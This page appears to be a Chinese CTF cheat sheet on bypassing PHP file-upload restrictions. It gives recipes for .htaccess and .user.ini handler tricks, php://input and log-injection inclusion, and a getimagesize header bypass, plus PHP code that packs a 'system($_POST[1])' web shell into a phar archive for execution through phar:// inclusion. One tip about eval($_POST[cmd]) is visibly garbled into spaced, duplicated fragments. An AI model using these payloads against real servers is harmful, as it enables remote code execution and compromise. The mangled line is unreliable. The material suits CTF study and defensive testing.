当前位置: 首页 > article >正文

CTF知识集-文件上传


title: CTF知识集-文件上传

开头可能会用到的提示

  • 除了PHP,php3 4 5 | phar | pht | phtml都是可能会解析的

  • 如果是apache(httpd) , 使用.htaccess 写入SetHandler application/x-httpd-php , 那么上传任意文件会被解析成php

  • 如果是apache(httpd) , 使用.htaccess, 写入AddType application/x-httpd-php .jpg 会把当前目录的jpg当成php解析

  • nginx,使用.user.ini 写入(当前目录有php文件才会生效),auto_prepend_file=shell.jpg或者auto_append_file=shell.jpg,上传shell.jpg被解析为php

  • .user.ini, auto_prepend_file=php://input | auto_append_file=php://input,也可以这样写,上传后访问上传目录的php里面,POST传入php代码

  • auto_prepend_file | auto_append_file也可以尝试包含日志,直接日志注入

  • getimagesize绕过,如果使用了这个检测函数,可以在文件头写入下面的代码,让这个函数认为上传的文件是jpg

    #define width 114
    #define height 514

  • []被检测可以使用{}

  • eval( P O S T [ c m d ] ) ; 如果 _POST[cmd]); 如果 POST[cmd]);如果_POST[cmd]用不了,可以array_pop($_POST),然后 post随便传入值即可

  • 利用语言结构,使用include包含日志文件

  • 如果空格被过滤,使用\n也就是0d,改十六进制数据

  • include远程包含

一些总结点

pear文件包含

首先生成一个phar文件,执行下面的php代码

<?php
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','<?php system($_POST[1]);?>');
$phar -> stopBuffering();
 
?>

生成的phar.phar里面,如果用phar协议读取(搭配文件包含),phar:///phar.phar/test.txt,那么里面的代码就会被执行,phar.phar也可以是其他文件名,例如p.zip


http://www.kler.cn/a/448394.html

相关文章:

  • (Z Shell)zsh: no matches found: ? 使用单引号包裹
  • day11|150,239,347
  • RK3588 , mpp硬编码yuv, 保存MP4视频文件.
  • 回归预测 | MATLAB实现CNN-BiGRU-Attention卷积神经网络结合双向门控循环单元融合注意力机制多输入单输出回归预测
  • OpenGL ES 01 渲染一个四边形
  • 面试题整理4----lvs,nginx,haproxy区别和使用场景
  • 联合物种分布模型(JSDM)与Hmsc包:群落生态学数据分析与预测技术
  • Android adb查看某个进程的总线程数
  • C语言的指针和java的引用有什么区别?
  • 3 需求分析
  • Windows装Docker至D盘/其他盘(最新,最准确,直接装)
  • 【Linux】常用命令大全
  • ubuntu 安装更新 ollama新版本
  • 网络地址转换NAT
  • DeepFaceLab技术浅析(三):自编码器模块
  • 浏览器对JSON格式数据的支持【超详解】
  • #渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍04-盲SQL注入(Blind SQL Injection)
  • upload-labs靶场保姆级攻略
  • Python使用队列加多线程处理数据
  • SSM 医院预约挂号系统 Vue 实现:开启智能医疗新征程
  • 如何设置浏览器不缓存网页
  • Fastjson <= 1.2.47 反序列化漏洞复现
  • 剑指offer搜索二维矩阵
  • stm32中有哪些库?其中标准库和HAL库有什么区别?
  • 7_HTML5 SVG (3) --[HTML5 API 学习之旅]
  • 【深入理解@ExceptionHandler】